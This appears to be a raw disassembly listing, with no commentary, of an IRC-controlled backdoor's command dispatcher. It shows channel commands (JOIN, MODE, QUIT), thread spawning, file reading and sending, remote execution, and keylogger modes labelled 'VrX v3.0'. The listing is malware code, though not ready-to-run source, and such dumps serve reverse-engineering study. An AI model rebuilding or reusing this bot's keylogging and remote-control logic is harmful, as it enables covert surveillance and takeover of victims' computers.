sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h call near ptr 2670E97h nop jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj nop call near ptr 2680972h push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax nop call near ptr 2670E97h loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h call near ptr 2670E97h nop jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j call near ptr 2680972h nop push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h nop call near ptr 2670E97h jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej nop call near ptr 2680972h push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670E97h push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j nop call near ptr 2680972h push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 2670E97h jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j call near ptr 2680972h nop push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h nop call near ptr 2670E97h jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi nop call near ptr 26801F9h test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h nop call near ptr 2670E97h push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] nop call near ptr 26908E5h push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; 